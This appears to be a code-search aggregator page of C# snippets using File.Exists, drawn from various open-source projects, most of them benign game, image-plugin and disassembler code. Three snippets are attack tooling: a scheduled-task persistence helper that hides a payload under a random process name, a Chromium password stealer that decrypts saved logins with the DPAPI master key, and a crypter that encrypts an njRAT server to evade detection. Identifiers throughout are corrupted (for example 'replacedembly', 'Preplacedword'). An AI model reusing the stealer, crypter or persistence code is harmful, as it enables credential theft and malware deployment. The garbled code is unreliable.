                    string dbExt = null;
                    if (File.Exists(Path.ChangeExtension(Thisreplacedembly.Location, "pdb")))
                        dbExt = "pdb";
                    if (File.Exists(Path.ChangeExtension(Thisreplacedembly.Location, "mdb")))
                        dbExt = "mdb";
                    if (dbExt != null)
                        File.Copy(Path.ChangeExtension(Thisreplacedembly.Location, dbExt), Path.ChangeExtension(xtfPath, dbExt), true);

                    if (File.Exists(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll")))
                        File.Copy(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll"), Path.Combine(path, "FNA.dll"), true);
                    else if (File.Exists(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll.tmp")))
                        File.Copy(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll.tmp"), Path.Combine(path, "FNA.dll"), true);

                }

                ScanPaths(Directory.GetFiles(path));
                return;
            }

            if (File.Exists(path + ".xex")) {
                if (!ExtractedXEX.Contains(path)) {
                    // Remove the original file - let XnaToFna unpack and handle it later.
                    File.Delete(path);
                } else {
                    // XnaToFna will handle the .xex instead.
                }
                return;
            }

            if (path.EndsWith(".xex")) {
                string pathTarget = path.Substring(0, path.Length - 4);
                if (string.IsNullOrEmpty(Path.GetExtension(pathTarget)))
                    return;

                using (Stream streamXEX = File.OpenRead(path))
                using (BinaryReader reader = new BinaryReader(streamXEX))
                using (Stream streamRAW = File.OpenWrite(pathTarget)) {
                    XEXImageData data = new XEXImageData(reader);

                    int offset = 0;
                    int size = data.m_memorySize;

                    // Check if this file is a PE containing an embedded PE.
                    if (data.m_memorySize > 0x10000) { // One default segment alignment.
                        using (MemoryStream streamMEM = new MemoryStream(data.m_memoryData))
                        using (BinaryReader mem = new BinaryReader(streamMEM)) {
                            if (mem.ReadUInt32() != 0x00905A4D) // MZ
                                goto WriteRaw;
                            // This is horrible.
                            streamMEM.Seek(0x00000280, SeekOrigin.Begin);
                            if (mem.ReadUInt64() != 0x000061746164692E) // ".idata\0\0"
                                goto WriteRaw;
                            streamMEM.Seek(0x00000288, SeekOrigin.Begin);
                            mem.ReadInt32(); // Virtual size; It's somewhat incorrect?
                            offset = mem.ReadInt32(); // Virtual offset.
                            // mem.ReadInt32(); // Raw size; Still incorrect.
                            // Let's just write everything...
                            size = data.m_memorySize - offset;
                        }
                    }

                    WriteRaw:
                    streamRAW.Write(data.m_memoryData, offset, size);
                }

                path = pathTarget;
                ExtractedXEX.Add(pathTarget);
            } else if (!path.EndsWith(".dll") && !path.EndsWith(".exe"))
                return;

            // Check if .dll is CLR replacedembly
            replacedemblyName name;
            try {
                name = replacedemblyName.GetreplacedemblyName(path);
            } catch {
                return;
            }

            ReaderParameters modReaderParams = Modder.GenReaderParameters(false);
            // Don't ReadWrite if the module being read is XnaToFna or a relink target.
            bool isReadWrite =
#if !CECIL0_9
            modReaderParams.ReadWrite =
#endif
                path != Thisreplacedembly.Location &&
                !Mappings.Exists(mappings => name.Name == mappings.Target);
            // Only read debug info if it exists
            if (!File.Exists(path + ".mdb") && !File.Exists(Path.ChangeExtension(path, "pdb")))
                modReaderParams.ReadSymbols = false;
            Log($"[ScanPath] Checking replacedembly {name.Name} ({(isReadWrite ? "rw" : "r-")})");
            ModuleDefinition mod;
            try {
                mod = MonoModExt.ReadModule(path, modReaderParams);
            } catch (Exception e) {
                Log($"[ScanPath] WARNING: Cannot load replacedembly: {e}");
                return;
            }
            bool add = !isReadWrite || name.Name == ThisreplacedemblyName;

            if ((mod.Attributes & ModuleAttributes.ILOnly) != ModuleAttributes.ILOnly) {
                // Mono.Cecil can't handle mixed mode replacedemblies.
                Log($"[ScanPath] WARNING: Cannot handle mixed mode replacedembly {name.Name}");
                if (MixedDeps == MixedDepAction.Stub) {
                    ModulesToStub.Add(mod);
                    add = true;
                } else {
                    if (MixedDeps == MixedDepAction.Remove) {
                        RemoveDeps.Add(name.Name);
                    }
#if !CECIL0_9
                    mod.Dispose();
#endif
                    return;
                }
            }

            if (add && !isReadWrite) { // XNA replacement
                foreach (XnaToFnaMapping mapping in Mappings)
                    if (name.Name == mapping.Target) {
                        mapping.IsActive = true;
                        mapping.Module = mod;
                        foreach (string from in mapping.Sources) {
                            Log($"[ScanPath] Mapping {from} -> {name.Name}");
                            Modder.RelinkModuleMap[from] = mod;
                        }
                    }
            } else if (!add) {
                foreach (XnaToFnaMapping mapping in Mappings)
                    if (mod.replacedemblyReferences.Any(dep => mapping.Sources.Contains(dep.Name))) {
                        add = true;
                        Log($"[ScanPath] XnaToFna-ing {name.Name}");
                        goto BreakMappings;
                    }
            }
            BreakMappings:

            if (add) {
                Modules.Add(mod);
                ModulePaths[mod] = path;
            } else {
#if !CECIL0_9
                mod.Dispose();
#endif
            }

        }

19 View Source File : IFileSystem.cs
License : MIT License
Project Creator : 0x1000000

public bool FileExists(string path)
        {
            return File.Exists(path);
        }

19 View Source File : FLRPC.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

public static XmlSettings ReadSettings()
        {
            string path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "settings.xml");
            if (!File.Exists(path))
            {
                throw new FileNotFoundException("The settings file was not found on it's desired location!");
            }
            // Get all settings as strings
            System.Xml.XmlDoreplacedent d = XMLParser.LoadDoreplacedent(path);
            string ClientID = XMLParser.FindByTag("ClientID", d)[0];
            string Pipe = XMLParser.FindByTag("Pipe", d)[0];
            string Secret = XMLParser.FindByTag("SecretProject", d)[0];
            string DebugLevel = XMLParser.FindByTag("DebugLevel", d)[0];
            string SecretMessage = XMLParser.FindByTag("SecretMessage", d)[0];
            string NoNameMessage = XMLParser.FindByTag("NoNameMessage", d)[0];
            string interval = XMLParser.FindByTag("RefreshInterval", d)[0];
            string accWarn = XMLParser.FindByTag("WarningAccepted", d)[0];

            // Convert, store and return
            XmlSettings setting = new XmlSettings();
            setting.ClientID = ClientID;
            setting.Pipe = Convert.ToInt32(Pipe);
            setting.Secret = Convert.ToBoolean(Secret);
            setting.SecretMessage = SecretMessage;
            setting.NoNameMessage = NoNameMessage;
            setting.RefeshInterval = Convert.ToInt32(interval);
            setting.AcceptedWarning = Convert.ToBoolean(accWarn);
            switch (Convert.ToInt32(DebugLevel))
            {
                case 0:
                    setting.logLevel = LogLevel.Info;
                    break;
                case 1:
                    setting.logLevel = LogLevel.Warning;
                    break;
                case 2:
                    setting.logLevel = LogLevel.Error;
                    break;
                case 3:
                    setting.logLevel = LogLevel.None;
                    break;
            }
            return setting;
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x727

static void Main(string[] args)
        {
            //if (args.Length == 1)
            //{
            //    string taskname = args[0];
            //    DeleteTask(taskname);
            //    return;
            //}

            if (args.Length != 2)
            {
                Banner();
                Console.WriteLine("\nUsage: SchTask.exe <File Path> <Minutes>");
                Console.WriteLine(@"   Eg: SchTask.exe C:\Windows\System32\cmd.exe 10");
                //Console.WriteLine("\nUsage: SchTask.exe <TaskName>");
                //Console.WriteLine("[!] Add the scheduled task first and then delete it");
            }
            else
            {
                Banner();
                string inputfile = args[0];
                string min = args[1];

                //选择主机随机进程名
                Process[] progresses = Process.GetProcesses();
                Random random = new Random();
                string randomname = (progresses[random.Next(progresses.Length)].ProcessName);
                if (File.Exists(inputfile))
                {
                    Copy(inputfile, randomname, min);
                    return;
                }
                Console.WriteLine("\n[x] Local file not found !");
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x727

public static void Copy(string inputfile, string randomname, string min)
        {
            string appdataFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string sourceFile = [email protected]"{inputfile}";
            //获取拓展名
            string extension = Path.GetExtension(sourceFile);
            string destinationFile = appdataFile + [email protected]"\Microsoft\Windows\Themes\{randomname}" + extension;
            if (File.Exists(destinationFile))
            {
                Console.WriteLine($"\n[x] File name exists: {destinationFile}");
                return;
            }
            else
            {
                File.Copy(sourceFile, destinationFile);
                //File.Move(sourceFile, destinationFile);
                Console.WriteLine($"\n[*] Copy File location: \n{destinationFile}");
                CreateTask(randomname, destinationFile, min);
            }
        }

19 View Source File : XMLParser.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

public static XmlDoreplacedent LoadDoreplacedent(string path)
        {
            //First check if file exists
            if (!File.Exists(path))
            {
                throw new FileNotFoundException("XML Doreplacedent wasn't found at path!");
            }
            XmlDoreplacedent d = new XmlDoreplacedent();
            d.Load(path);
            return d;
        }

19 View Source File : Chromium.cs
License : GNU General Public License v3.0
Project Creator : 0xfd3

private static List<Account> Accounts(string path, string browser, string table = "logins")
        {

            //Get all created profiles from browser path
            List<string> loginDataFiles = GetAllProfiles(path); 

            List<Account> data = new List<Account>();

            foreach (string loginFile in loginDataFiles.ToArray())
            {
                if (!File.Exists(loginFile))
                    continue;

                SQLiteHandler SQLDatabase;

                try
                {
                    SQLDatabase = new SQLiteHandler(loginFile); //Open database with Sqlite
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                    continue;
                }

                if (!SQLDatabase.ReadTable(table)) 
                    continue;

                for (int I = 0; I <= SQLDatabase.GetRowCount() - 1; I++)
                {
                    try
                    {
                        //Get values with row number and column name
                        string host = SQLDatabase.GetValue(I, "origin_url");
                        string username = SQLDatabase.GetValue(I, "username_value");
                        string preplacedword = SQLDatabase.GetValue(I, "preplacedword_value");

                        if (preplacedword != null)
                        {
                            //check v80 preplacedword signature. its starting with v10 or v11
                            if (preplacedword.StartsWith("v10") || preplacedword.StartsWith("v11"))
                            {
                                //Local State file located in the parent folder of profile folder.
                                byte[] masterKey = GetMasterKey(Directory.GetParent(loginFile).Parent.FullName); 

                                if (masterKey == null)
                                    continue;

                                preplacedword = DecryptWithKey(Encoding.Default.GetBytes(preplacedword), masterKey);
                            }
                            else
                                preplacedword = Decrypt(preplacedword); //Old versions using UnprotectData for decryption without any key
                        }
                        else
                            continue;

                        if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(preplacedword))
                            data.Add(new Account() { URL = host, UserName = username, Preplacedword = preplacedword, Application = browser });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
            }

            return data;
        }

19 View Source File : Chromium.cs
License : GNU General Public License v3.0
Project Creator : 0xfd3

public static byte[] GetMasterKey(string LocalStateFolder)
        {
            //Key saved in Local State file
            string filePath = LocalStateFolder + @"\Local State";
            byte[] masterKey = new byte[] { };

            if (File.Exists(filePath) == false)
                return null;

            //Get key with regex.
            var pattern = new System.Text.RegularExpressions.Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath));

            foreach (System.Text.RegularExpressions.Match prof in pattern)
            {
                if (prof.Success)
                    masterKey = Convert.FromBase64String((prof.Groups[1].Value)); //Decode base64
            }

            //Trim first 5 bytes. Its signature "DPAPI"
            byte[] temp = new byte[masterKey.Length - 5];
            Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5);

            try
            {
                return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
                return null;
            }
        }

19 View Source File : fMain.cs
License : MIT License
Project Creator : 0xPh0enix

private void bCrypt_Click(object sender, EventArgs e)
        {
            if (!File.Exists(tServer.Text))
            {
                MessageBox.Show("Error, server is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            if (!File.Exists(tIcon.Text) && tIcon.Text.Trim() != "")
            {
                MessageBox.Show("Error, icon is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }


            using (SaveFileDialog fSaveDialog = new SaveFileDialog())
            {

                fSaveDialog.Filter = "Executable (*.exe)|*.exe";
                fSaveDialog.replacedle = "Save crypted Server...";

                if (fSaveDialog.ShowDialog() == DialogResult.OK)
                {

                    string sFileName = cUtils.GenStr(8);
                    string sKey = cUtils.GenStr(40);

                    string sStub = Properties.Resources.Stub

                        .Replace("%RES_NAME%", sFileName)
                        .Replace("%ENC_KEY%", sKey);

                    File.WriteAllBytes(sFileName, nAES256.cAES256.Encrypt(File.ReadAllBytes(tServer.Text), System.Text.Encoding.Default.GetBytes(sKey)));


                    using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
            {
                {"CompilerVersion", "v2.0"}
            }))
                    {
                        CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);


                        if (tIcon.Text.Trim() == "")
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
                        else
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug- /win32icon:\"" + tIcon.Text + "\"";

                        cpParams.Referencedreplacedemblies.Add("System.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Management.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Windows.Forms.dll");

                        cpParams.EmbeddedResources.Add(sFileName);

                        csCodeProvider.CompilereplacedemblyFromSource(cpParams, sStub);

                        MessageBox.Show("Your nj server crypted successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }

                    File.Delete(sFileName);
                }

            }
        }

19 View Source File : GmicConfigDialog.cs
License : GNU General Public License v3.0
Project Creator : 0xC0000054

protected override void OnLoad(EventArgs e)
        {
            base.OnLoad(e);

            Opacity = 0;

            if (File.Exists(GmicPath))
            {
                workerThread = new Thread(new ThreadStart(GmicThread)) { IsBackground = true };

                // The thread must use a single-threaded apartment to access the clipboard.
                workerThread.SetApartmentState(ApartmentState.STA);
                workerThread.Start();
            }
            else
            {
                ShowErrorMessage(Resources.GmicNotFound);
                DialogResult = DialogResult.Cancel;
                Close();
            }
        }

19 View Source File : GmicEffect.cs
License : GNU General Public License v3.0
Project Creator : 0xC0000054

protected override void OnSetRenderInfo(EffectConfigToken parameters, RenderArgs dstArgs, RenderArgs srcArgs)
        {
            if (repeatEffect)
            {
                GmicConfigToken token = (GmicConfigToken)parameters;

                if (token.Surface != null)
                {
                    token.Surface.Dispose();
                    token.Surface = null;
                }

                if (File.Exists(GmicConfigDialog.GmicPath))
                {
                    try
                    {
                        using (GmicPipeServer server = new GmicPipeServer())
                        {
                            List<GmicLayer> layers = new List<GmicLayer>();

                            Surface clipboardSurface = null;
                            try
                            {
                                // Some G'MIC filters require the image to have more than one layer.
                                // Because use Paint.NET does not currently support Effect plug-ins accessing
                                // other layers in the doreplacedent, allowing the user to place the second layer on
                                // the clipboard is supported as a workaround.

                                clipboardSurface = Services.GetService<IClipboardService>().TryGetSurface();

                                if (clipboardSurface != null)
                                {
                                    layers.Add(new GmicLayer(clipboardSurface, true));
                                    clipboardSurface = null;
                                }
                            }
                            finally
                            {
                                if (clipboardSurface != null)
                                {
                                    clipboardSurface.Dispose();
                                }
                            }

                            layers.Add(new GmicLayer(EnvironmentParameters.SourceSurface, false));

                            server.AddLayers(layers);

                            server.Start();

                            string arguments = string.Format(CultureInfo.InvariantCulture, ".PDN {0} reapply", server.FullPipeName);

                            using (Process process = new Process())
                            {
                                process.StartInfo = new ProcessStartInfo(GmicConfigDialog.GmicPath, arguments);

                                process.Start();
                                process.WaitForExit();

                                if (process.ExitCode == GmicExitCode.Ok)
                                {
                                    OutputImageState state = server.OutputImageState;

                                    if (state.Error != null)
                                    {
                                        ShowErrorMessage(state.Error);
                                    }
                                    else
                                    {
                                        IReadOnlyList<Surface> outputImages = state.OutputImages;

                                        if (outputImages.Count > 1)
                                        {
                                            using (PlatformFolderBrowserDialog folderBrowserDialog = new PlatformFolderBrowserDialog())
                                            {
                                                folderBrowserDialog.ClreplacedicFolderBrowserDescription = Resources.ClreplacedicFolderBrowserDescription;
                                                folderBrowserDialog.VistaFolderBrowserreplacedle = Resources.VistaFolderBrowserreplacedle;

                                                if (!string.IsNullOrWhiteSpace(token.OutputFolder))
                                                {
                                                    folderBrowserDialog.SelectedPath = token.OutputFolder;
                                                }

                                                if (folderBrowserDialog.ShowDialog() == DialogResult.OK)
                                                {
                                                    string outputFolder = folderBrowserDialog.SelectedPath;

                                                    try
                                                    {
                                                        OutputImageUtil.SaveAllToFolder(outputImages, outputFolder);
                                                    }
                                                    catch (ArgumentException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (ExternalException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (IOException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (SecurityException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                    catch (UnauthorizedAccessException ex)
                                                    {
                                                        ShowErrorMessage(ex);
                                                    }
                                                }
                                            }
                                        }
                                        else
                                        {
                                            Surface output = outputImages[0];

                                            if (output.Width == srcArgs.Surface.Width && output.Height == srcArgs.Surface.Height)
                                            {
                                                token.Surface = output.Clone();
                                            }
                                            else
                                            {
                                                // Place the full image on the clipboard when the size does not match the Paint.NET layer
                                                // and prompt the user to save it.
                                                // The resized image will not be copied to the Paint.NET canvas.
                                                Services.GetService<IClipboardService>().SetImage(output);

                                                using (PlatformFileSaveDialog resizedImageSaveDialog = new PlatformFileSaveDialog())
                                                {
                                                    resizedImageSaveDialog.Filter = Resources.ResizedImageSaveDialogFilter;
                                                    resizedImageSaveDialog.replacedle = Resources.ResizedImageSaveDialogreplacedle;
                                                    resizedImageSaveDialog.FileName = DateTime.Now.ToString("yyyyMMdd-THHmmss") + ".png";
                                                    if (resizedImageSaveDialog.ShowDialog() == DialogResult.OK)
                                                    {
                                                        string resizedImagePath = resizedImageSaveDialog.FileName;
                                                        try
                                                        {
                                                            using (Bitmap bitmap = output.CreateAliasedBitmap())
                                                            {
                                                                bitmap.Save(resizedImagePath, System.Drawing.Imaging.ImageFormat.Png);
                                                            }
                                                        }
                                                        catch (ArgumentException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (ExternalException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (IOException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (SecurityException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                        catch (UnauthorizedAccessException ex)
                                                        {
                                                            ShowErrorMessage(ex);
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                else
                                {
                                    switch (process.ExitCode)
                                    {
                                        case GmicExitCode.ImageTooLargeForX86:
                                            ShowErrorMessage(Resources.ImageTooLargeForX86);
                                            break;
                                    }
                                }
                            }
                        }
                    }
                    catch (ArgumentException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                    catch (ExternalException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                    catch (IOException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                    catch (UnauthorizedAccessException ex)
                    {
                        ShowErrorMessage(ex);
                    }
                }
                else
                {
                    ShowErrorMessage(Resources.GmicNotFound);
                }
            }

            base.OnSetRenderInfo(parameters, dstArgs, srcArgs);
        }

19 View Source File : CommandLineParser.cs
License : MIT License
Project Creator : 0xd4d

public static JitDasmOptions Parse(string[] args) {
			if (args.Length == 0)
				throw new ShowCommandLineHelpException();

			var options = new JitDasmOptions();
			for (int i = 0; i < args.Length; i++) {
				var arg = args[i];
				var next = i + 1 < args.Length ? args[i + 1] : null;
				switch (arg) {
				case "-h":
				case "--help":
					throw new ShowCommandLineHelpException();

				case "-p":
				case "--pid":
					if (next is null)
						throw new CommandLineParserException("Missing pid value");
					if (!int.TryParse(next, out options.Pid))
						throw new CommandLineParserException($"Invalid pid: {next}");
					try {
						using (var process = Process.GetProcessById(options.Pid))
							VerifyProcess(process);
					}
					catch (ArgumentException) {
						throw new CommandLineParserException($"Process does not exist, pid = {options.Pid}");
					}
					i++;
					break;

				case "-pn":
				case "--process":
					if (next is null)
						throw new CommandLineParserException("Missing process name");
					Process[]? processes = null;
					try {
						processes = Process.GetProcessesByName(next);
						if (processes.Length == 0)
							throw new CommandLineParserException($"Could not find process '{next}'");
						if (processes.Length > 1)
							throw new CommandLineParserException($"Found more than one process with name '{next}'");
						options.Pid = processes[0].Id;
						VerifyProcess(processes[0]);
					}
					finally {
						if (!(processes is null)) {
							foreach (var p in processes)
								p.Dispose();
						}
					}
					i++;
					break;

				case "-m":
				case "--module":
					if (next is null)
						throw new CommandLineParserException("Missing module name");
					options.ModuleName = next;
					i++;
					break;

				case "-l":
				case "--load":
					if (next is null)
						throw new CommandLineParserException("Missing module filename");
					if (!File.Exists(next))
						throw new CommandLineParserException($"Could not find module {next}");
					options.LoadModule = Path.GetFullPath(next);
					i++;
					break;

				case "--no-run-cctor":
					options.RunClreplacedConstructors = false;
					break;

				case "-s":
				case "--search":
					if (next is null)
						throw new CommandLineParserException("Missing replacedembly search path");
					foreach (var path in next.Split(new[] { Path.PathSeparator }, StringSplitOptions.RemoveEmptyEntries)) {
						if (Directory.Exists(path))
							options.replacedemblySearchPaths.Add(path);
					}
					i++;
					break;

				case "--diffable":
					options.Diffable = true;
					break;

				case "--no-addr":
					options.ShowAddresses = false;
					break;

				case "--no-bytes":
					options.ShowHexBytes = false;
					break;

				case "--no-source":
					options.ShowSourceCode = false;
					break;

				case "--heap-search":
					options.HeapSearch = true;
					break;

				case "--filename-format":
					if (next is null)
						throw new CommandLineParserException("Missing filename format");
					switch (next) {
					case "name":
						options.FilenameFormat = FilenameFormat.MemberName;
						break;
					case "tokname":
						options.FilenameFormat = FilenameFormat.TokenMemberName;
						break;
					case "token":
						options.FilenameFormat = FilenameFormat.Token;
						break;
					default:
						throw new CommandLineParserException($"Unknown filename format: {next}");
					}
					i++;
					break;

				case "-f":
				case "--file":
					if (next is null)
						throw new CommandLineParserException("Missing filename kind");
					switch (next) {
					case "stdout":
						options.FileOutputKind = FileOutputKind.Stdout;
						break;
					case "file":
						options.FileOutputKind = FileOutputKind.OneFile;
						break;
					case "type":
						options.FileOutputKind = FileOutputKind.OneFilePerType;
						break;
					case "method":
						options.FileOutputKind = FileOutputKind.OneFilePerMethod;
						break;
					default:
						throw new CommandLineParserException($"Unknown filename kind: {next}");
					}
					i++;
					break;

				case "-d":
				case "--disasm":
					if (next is null)
						throw new CommandLineParserException("Missing disreplacedembler kind");
					switch (next) {
					case "masm":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Masm;
						break;
					case "nasm":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Nasm;
						break;
					case "gas":
					case "att":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Gas;
						break;
					case "intel":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Intel;
						break;
					default:
						throw new CommandLineParserException($"Unknown disreplacedembler kind: {next}");
					}
					i++;
					break;

				case "-o":
				case "--output":
					if (next is null)
						throw new CommandLineParserException("Missing output file/dir");
					options.OutputDir = next;
					i++;
					break;

				case "--type":
					if (next is null)
						throw new CommandLineParserException("Missing type name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.TypeFilter.TokensFilter.Add(tokenLo, tokenHi);
						else
							options.TypeFilter.NameFilter.Add(elem);
					}
					i++;
					break;

				case "--type-exclude":
					if (next is null)
						throw new CommandLineParserException("Missing type name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.TypeFilter.ExcludeTokensFilter.Add(tokenLo, tokenHi);
						else
							options.TypeFilter.ExcludeNameFilter.Add(elem);
					}
					i++;
					break;

				case "--method":
					if (next is null)
						throw new CommandLineParserException("Missing method name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.MethodFilter.TokensFilter.Add(tokenLo, tokenHi);
						else
							options.MethodFilter.NameFilter.Add(elem);
					}
					i++;
					break;

				case "--method-exclude":
					if (next is null)
						throw new CommandLineParserException("Missing method name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.MethodFilter.ExcludeTokensFilter.Add(tokenLo, tokenHi);
						else
							options.MethodFilter.ExcludeNameFilter.Add(elem);
					}
					i++;
					break;

				default:
					throw new CommandLineParserException($"Unknown option: {arg}");
				}
			}

			if (!string2.IsNullOrEmpty(options.LoadModule)) {
				using (var process = Process.GetCurrentProcess())
					options.Pid = process.Id;
				options.ModuleName = options.LoadModule;
			}

			if (string.IsNullOrEmpty(options.ModuleName))
				throw new CommandLineParserException("Missing module name");
			if (options.Pid == 0)
				throw new CommandLineParserException("Missing process id or name");
			if (options.FileOutputKind != FileOutputKind.Stdout && string.IsNullOrEmpty(options.OutputDir))
				throw new CommandLineParserException("Missing output file/dir");
			return options;
		}

19 View Source File : SourceDocumentProvider.cs
License : MIT License
Project Creator : 0xd4d

Doreplacedent? GetDoreplacedent(string file) {
			lock (lockObj) {
				if (toDoreplacedent.TryGetValue(file, out var doreplacedent))
					return doreplacedent;
				if (!File.Exists(file))
					return null;
				doreplacedent = new Doreplacedent(file);
				toDoreplacedent.Add(file, doreplacedent);
				return doreplacedent;
			}
		}

19 View Source File : MethodJitter.cs
License : MIT License
Project Creator : 0xd4d

replacedembly? Resolvereplacedembly(string? name) {
			if (name is null)
				return null;
			if (nameToreplacedembly.TryGetValue(name, out var asm))
				return asm;
			nameToreplacedembly.Add(name, null);

			foreach (var basePath in searchPaths) {
				foreach (var ext in asmExtensions) {
					var filename = Path.Combine(basePath, name + ext);
					if (File.Exists(filename)) {
						asm = replacedembly.LoadFile(filename);
						nameToreplacedembly[name] = asm;
						return asm;
					}
				}
			}
			if (!name.EndsWith(".resources", StringComparison.OrdinalIgnoreCase))
				Console.WriteLine($"Failed to resolve replacedembly '{name}'");
			return null;
		}

19 View Source File : UraganoBuilder.cs
License : MIT License
Project Creator : 1100100

public void AddServer(string address, int port = 5730, string certUrl = "", string certPwd = "", int? weight = default)
        {
            UraganoSettings.ServerSettings = new ServerSettings
            {
                Address = address.ReplaceIpPlaceholder(),
                Port = port,
                Weight = weight
            };
            if (!string.IsNullOrWhiteSpace(certUrl))
            {
                if (!File.Exists(certUrl))
                    throw new FileNotFoundException($"Certificate file {certUrl} not found.");
                UraganoSettings.ServerSettings.X509Certificate2 =
                    new X509Certificate2(certUrl, certPwd);
            }

            RegisterServerServices();
        }

19 View Source File : UraganoBuilder.cs
License : MIT License
Project Creator : 1100100

public void AddServer(IConfigurationSection configurationSection)
        {
            UraganoSettings.ServerSettings = new ServerSettings();
            if (configurationSection.Exists())
            {
                var addressSection = configurationSection.GetSection("address");
                if (addressSection.Exists())
                    UraganoSettings.ServerSettings.Address = addressSection.Value.ReplaceIpPlaceholder();

                var portSection = configurationSection.GetSection("port");
                if (portSection.Exists())
                    UraganoSettings.ServerSettings.Port = int.Parse(portSection.Value);

                var weightSection = configurationSection.GetSection("weight");
                if (weightSection.Exists())
                    UraganoSettings.ServerSettings.Weight = int.Parse(weightSection.Value);

                var certUrlSection = configurationSection.GetSection("certurl");
                if (certUrlSection.Exists() && !string.IsNullOrWhiteSpace(certUrlSection.Value))
                {
                    if (!File.Exists(certUrlSection.Value))
                        throw new FileNotFoundException($"Certificate file {certUrlSection.Value} not found.");
                    UraganoSettings.ServerSettings.X509Certificate2 = new X509Certificate2(certUrlSection.Value, configurationSection.GetValue<string>("certpwd"));
                }
            }
            RegisterServerServices();
        }

See More Examples